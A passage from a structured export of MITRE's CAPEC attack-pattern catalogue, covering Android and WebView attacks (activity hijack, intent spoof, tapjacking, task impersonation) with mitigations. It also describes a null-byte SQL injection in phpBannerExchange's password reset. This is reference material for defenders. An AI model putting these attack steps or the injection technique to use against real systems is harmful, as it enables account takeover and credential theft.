xmlns:capec="http://capec.mitre.org/capec-3"&gt;phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over their account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The e-mail address requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;if(!eregi("^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*&lt;xhtml:div style="margin-left:1em;"&gt;(\\.[a-z]{2,3})$", $email)){&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A bug in the implementation of eregi() allows to pass additional character using a null byte "\\0". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the regular expression. So an e-mail address can be provided that includes the special character " ' " to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;$get_info=mysql_query("select * from banneruser where&lt;xhtml:div style="margin-left:1em;"&gt;email='$email' ");&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system.&lt;/xhtml:p&gt;See also: CVE-2006-3013</xhtml:div> + + + + + 522 + + + + + 640 + + + + + + + + + + + + #indReferenceReference27715 + Reference_27715 + + + + + + + + + REF-429 + + + + + + + + + + + + #indContentHistoryContentHistory27717 + Content_History_27717 + + + + + + + + + + + + + + + + #indSubmissionSubmission27718 + Submission_27718 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27723 + Modification_27723 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27729 + Modification_27729 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27735 + Modification_27735 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27741 + Modification_27741 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification27747 + Modification_27747 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-500 + WebView Injection + + + + + + + + + 500 + + + + + WebView Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27758 + Related_Attack_Pattern_27758 + + + + + + + + + + + + + + 253 + + + + + + + + + + + + #indAttackStepAttackStep27761 + Attack_Step_27761 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target web application] An adversary first needs to determine what web application they wish to target.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target web applications that require users to enter sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target web applications that an adversary wishes to operate on behalf of a logged in user.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27768 + Attack_Step_27768 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create malicious application] An adversary creates an application, often mobile, that incorporates a WebView component to display the targeted web application. This malicious application needs to downloaded by a user, so adversaries will make this application useful in some way.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a 3rd party application that adds useful functionality to the targeted web application. Victims will download the application as a means of using the targeted web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a fun game that at some point directs a user to the targeted web application. For example, prompt the user to buy in game currency by directing them to PayPal.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27775 + Attack_Step_27775 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get the victim to download and run the application] An adversary needs to get the victim to willingly download and run the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pay for App Store advertisements</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Promote the application on social media, either through accounts made by the adversary or by paying for other accounts to advertise.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27782 + Attack_Step_27782 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject malicious code] Once the victim runs the malicious application and views the targeted web page in the WebView component, the malicious application will inject malicious JavaScript code into the web application. This is done by using WebView's loadURL() API, which can inject arbitrary JavaScript code into pages loaded by the WebView component with the same privileges. This is often done by adding a script tag to the document body with a src destination to a remote location that serves malicious JavaScript code.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute operations on the targeted web page on behalf of an authenticated user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Steal cookie information from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add in extra fields to the DOM in an attempt to get a user to divulge sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary must be able install a purpose built malicious application onto the device and convince the user to execute it. The malicious application is designed to target a specific web application and is used to load the target web pages via the WebView component. For example, an adversary may develop an application that interacts with Facebook via WebView and adds a new feature that a user desires. The user would install this 3rd party app instead of the Facebook app.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The only known mitigation to this type of attack is to keep the malicious application off the system. There is nothing that can be done to the target application to protect itself from a malicious application that has been installed and executed.</xhtml:div> + + + + + 749 + + + + + 940 + + + + + + + + + + + + #indReferenceReference27802 + Reference_27802 + + + + + + + + + REF-430 + + + + + + + + + + + + #indContentHistoryContentHistory27804 + Content_History_27804 + + + + + + + + + + + + + + + + #indSubmissionSubmission27805 + Submission_27805 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27810 + Modification_27810 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification27816 + Modification_27816 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-501 + Android Activity Hijack + + + + + + + + + 501 + + + + + Android Activity Hijack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary intercepts an implicit intent sent to launch a Android-based trusted activity and instead launches a counterfeit activity in its place. The malicious activity is then used to mimic the trusted activity's user interface and prompt the target to enter sensitive data as if they were interacting with the trusted activity.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27828 + Related_Attack_Pattern_27828 + + + + + + + + + + + + + + 499 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27829 + Related_Attack_Pattern_27829 + + + + + + + + + + + + + + 173 + + + + + 403 + + + + + + + + + + + + #indAttackStepAttackStep27834 + Attack_Step_27834 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find an android application that uses implicit intents] Since this attack only works on android applications that use implicit intents, rather than explicit intents, an adversary must first identify an app that uses implicit intents to launch an Android-based trusted activity, and what that activity is.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27839 + Attack_Step_27839 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create a malicious app] The adversary must create a malicious android app meant to intercept implicit intents to launch an Adroid-based trusted activity. This malicious app will mimic the trusted activiy's user interface to get the user to enter sensitive data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Specify the type of intent wished to be intercepted in the malicious app's manifest file using an intent filter</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27845 + Attack_Step_27845 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get user to download malicious app] The adversary must get a user using the targeted app to download the malicious app by any means necessary</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep27850 + Attack_Step_27850 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gather sensitive data through malicious app] Once the target application sends an implicit intent to launch a trusted activity, the malicious app will be launched instead that looks identical to the interface of that activity. When the user enters sensitive information it will be captured by the malicious app.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gather login information from a user using a malicious app</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have previously installed the malicious application onto the Android device that will run in place of the trusted activity.</xhtml:div> + + + + + + + + + + + + #indSkillSkill27861 + Skill_27861 + + + + + + + + + + + + + + The adversary must typically overcome network and host defenses in order to place malware on the system. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Malware capable of acting on the adversary's objectives.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence27867 + Consequence_27867 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, explicit intents should be used whenever sensitive data is being sent. An 'explicit intent' is delivered to a specific application as declared within the intent, whereas an 'implicit intent' is directed to an application as defined by the Android operating system. If an implicit intent must be used, then it should be assumed that the intent will be received by an unknown application and any response should be treated accordingly (i.e., with appropriate security controls).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Never use implicit intents for inter-application communication.</xhtml:div> + + + + + 923 + + + + + + + + + + + + #indReferenceReference27880 + Reference_27880 + + + + + + + + + REF-427 + + + + + 3.1.2 Activity Hijacking + + + + + + + + + + + + #indContentHistoryContentHistory27882 + Content_History_27882 + + + + + + + + + + + + + + + + #indSubmissionSubmission27883 + Submission_27883 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27888 + Modification_27888 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, References, Related_Weaknesses, Resources_Required, Solutions_and_Mitigations, Typical_Severity + + + + + + + + + + + + #indModificationModification27894 + Modification_27894 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification27900 + Modification_27900 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Name, Description, Prerequisites + + + + + + + + + + + + #indModificationModification27906 + Modification_27906 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName27912 + Previous_Entry_Name_27912 + + + + + + + + + 2020-12-17 + + + + + Activity Hijack + + + + + + + + + + + + #CAPEC-502 + Intent Spoof + + + + + + + + + 502 + + + + + Intent Spoof + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27918 + Related_Attack_Pattern_27918 + + + + + + + + + + + + + + 148 + + + + + 512 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary must be able install a purpose built malicious application onto the Android device and convince the user to execute it. The malicious application will be used to issue spoofed intents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To limit one's exposure to this type of attack, developers should avoid exporting components unless the component is specifically designed to handle requests from untrusted applications. Developers should be aware that declaring an intent filter will automatically export the component, exposing it to public access. Critical, state-changing actions should not be placed in exported components. If a single component handles both inter- and intra-application requests, the developer should consider dividing that component into separate components. If a component must be exported (e.g., to receive system broadcasts), then the component should dynamically check the caller's identity prior to performing any operations. Requiring Signature or SignatureOrSystem permissions is an effective way of limiting a component's exposure to a set of trusted applications. Finally, the return values of exported components can also leak private data, so developers should check the caller's identity prior to returning sensitive values.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indReferenceReference27933 + Reference_27933 + + + + + + + + + REF-427 + + + + + + + + + + + + #indContentHistoryContentHistory27935 + Content_History_27935 + + + + + + + + + + + + + + + + #indSubmissionSubmission27936 + Submission_27936 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27941 + Modification_27941 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification27947 + Modification_27947 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification27953 + Modification_27953 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-503 + WebView Exposure + + + + + + + + + 503 + + + + + WebView Exposure + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern27964 + Related_Attack_Pattern_27964 + + + + + + + + + + + + + + 122 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the adversary to convince the user to load the malicious web page inside the target application. Once loaded, the malicious web page will have the same permissions as the target application and will have access to all registered interfaces. Both the permission and the interface must be in place for the functionality to be exposed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, an application should limit permissions to only those required and should verify the origin of all web content it loads.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indReferenceReference27978 + Reference_27978 + + + + + + + + + REF-430 + + + + + + + + + + + + #indContentHistoryContentHistory27980 + Content_History_27980 + + + + + + + + + + + + + + + + #indSubmissionSubmission27981 + Submission_27981 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification27986 + Modification_27986 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification27992 + Modification_27992 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-504 + Task Impersonation + + + + + + + + + 504 + + + + + Task Impersonation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, impersonates an expected or routine task in an attempt to steal sensitive information or leverage a user's privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When impersonating an expected task, the adversary monitors the task list maintained by the operating system and waits for a specific legitimate task to become active. Once the task is detected, the malicious application launches a new task in the foreground that mimics the user interface of the legitimate task. At this point, the user thinks that they are interacting with the legitimate task that they started, but instead they are interacting with the malicious application. Once the adversary's goal is reached, the malicious application can exit, leaving the original trusted application visible and the appearance that nothing out of the ordinary has occurred.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A second approach entails the adversary impersonating an unexpected task, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process requires authentication for some purpose. The user, believing they are interacting with a legitimate task, enters their credentials or authorizes the use of their stored credentials, which the adversary then leverages for nefarious purposes. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user, but may also be used to ride the user's privileges.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28009 + Related_Attack_Pattern_28009 + + + + + + + + + + + + + + 173 + + + + + 403 + + + + + + + + + + + + #indAttackStepAttackStep28014 + Attack_Step_28014 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine suitable tasks to exploit] Determine what tasks exist on the target system that may result in a user providing sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine what tasks prompt a user for their credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine what tasks may prompt a user to authorize a process to execute with elevated privileges.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28021 + Attack_Step_28021 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate Task] Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials or to ride the user's privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prompt a user for their credentials, while making the user believe the credential request is legitimate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prompt a user to authorize a task to run with elevated privileges, while making the user believe the request is legitimate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must already have access to the target system via some means.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A legitimate task must exist that an adversary can impersonate to glean credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The user's privileges allow them to execute certain tasks with elevated privileges.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28035 + Skill_28035 + + + + + + + + + + + + + + Once an adversary has gained access to the target system, impersonating a task is trivial. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Malware or some other means to initially comprise the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Additional malware to impersonate a legitimate task.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Credential or permission elevation prompts that appear illegitimate or unexpected.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence28045 + Consequence_28045 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The only known mitigation to this attack is to avoid installing the malicious application on the device. However, to impersonate a running task the malicious application does need the GET_TASKS permission to be able to query the task list, and being suspicious of applications with that permission can help.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary prompts a user to authorize an elevation of privileges, implying that a background task needs additional permissions to execute. The user accepts the privilege elevation, allowing the adversary to execute additional malware or tasks with the user's privileges.</xhtml:div> + + + + + 1021 + + + + + + + + + + + + #indTaxonomyMappingMasqueradingMasqueradeTaskOrService + Masquerading: Masquerade Task or Service + + + + + + + + + + + + + + 1036.004 + + + + + Masquerading: Masquerade Task or Service + + + + + + + + + + + + #indReferenceReference28068 + Reference_28068 + + + + + + + + + REF-434 + + + + + 4.1.2 Man-In-The-Middle + + + + + + + + + + + + #indContentHistoryContentHistory28070 + Content_History_28070 + + + + + + + + + + + + + + + + #indSubmissionSubmission28071 + Submission_28071 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28076 + Modification_28076 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification28082 + Modification_28082 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification28088 + Modification_28088 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28094 + Modification_28094 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Abstraction, @Status, Consequences, Description, Example_Instances, Execution_Flow, Indicators, Likelihood_Of_Attack, Mitigations, Prerequisites, Resources_Required, Skills_Required, Typical_Severity + + + + + + + + + + + + #indModificationModification28100 + Modification_28100 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification28106 + Modification_28106 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-505 + Scheme Squatting + + + + + + + + + 505 + + + + + Scheme Squatting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, registers for a URL scheme intended for a target application that has not been installed. Thereafter, messages intended for the target application are handled by the malicious application. Upon receiving a message, the malicious application displays a screen that mimics the target application, thereby convincing the user to enter sensitive information. This type of attack is most often used to obtain sensitive information (e.g., credentials) from the user as they think that they are interacting with the intended target application.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28117 + Related_Attack_Pattern_28117 + + + + + + + + + + + + + + 616 + + + + + 437 + + + + + 513 + + + + + 515 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The only known mitigation to this attack is to avoid installing the malicious application on the device. Applications usually have to declare the schemes they wish to register, so detecting this during a review is feasible.</xhtml:div> + + + + + + + + + + + + #indReferenceReference28128 + Reference_28128 + + + + + + + + + REF-434 + + + + + 4.1.2 Man-In-The-Middle + + + + + + + + + + + + #indContentHistoryContentHistory28130 + Content_History_28130 + + + + + + + + + + + + + + + + #indSubmissionSubmission28131 + Submission_28131 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28136 + Modification_28136 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification28142 + Modification_28142 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28148 + Modification_28148 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28154 + Modification_28154 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-506 + Tapjacking + + + + + + + + + 506 + + + + + Tapjacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, displays an interface that misleads the user and convinces them to tap on an attacker desired location on the screen. This is often accomplished by overlaying one screen on top of another while giving the appearance of a single interface. There are two main techniques used to accomplish this. The first is to leverage transparent properties that allow taps on the screen to pass through the visible application to an application running in the background. The second is to strategically place a small object (e.g., a button or text field) on top of the visible screen and make it appear to be a part of the underlying application. In both cases, the user is convinced to tap on the screen but does not realize the application that they are interacting with.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28167 + Related_Attack_Pattern_28167 + + + + + + + + + + + + + + 173 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern of attack requires the ability to execute a malicious application on the user's device. This malicious application is used to present the interface to the user and make the attack possible.</xhtml:div> + + + + + 1021 + + + + + + + + + + + + #indReferenceReference28178 + Reference_28178 + + + + + + + + + REF-436 + + + + + 4. New Browserless Attacks + + + + + + + + + + + + #indReferenceReference28179 + Reference_28179 + + + + + + + + + REF-437 + + + + + + + + + + + + #indContentHistoryContentHistory28181 + Content_History_28181 + + + + + + + + + + + + + + + + #indSubmissionSubmission28182 + Submission_28182 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28187 + Modification_28187 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification28193 + Modification_28193 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification28199 + Modification_28199 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification28205 + Modification_28205 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28211 + Modification_28211 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-507 + Physical Theft + + + + + + + + + 507 + + + + + Physical Theft + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains physical access to a system or device through theft of the item. Possession of a system or device enables a number of unique attacks to be executed and often provides the adversary with an extended timeframe for which to perform an attack. Most protections put in place to secure sensitive information can be defeated when an adversary has physical access and enough time.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack requires the existence of a physical target that an adversary believes hosts something of value.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To 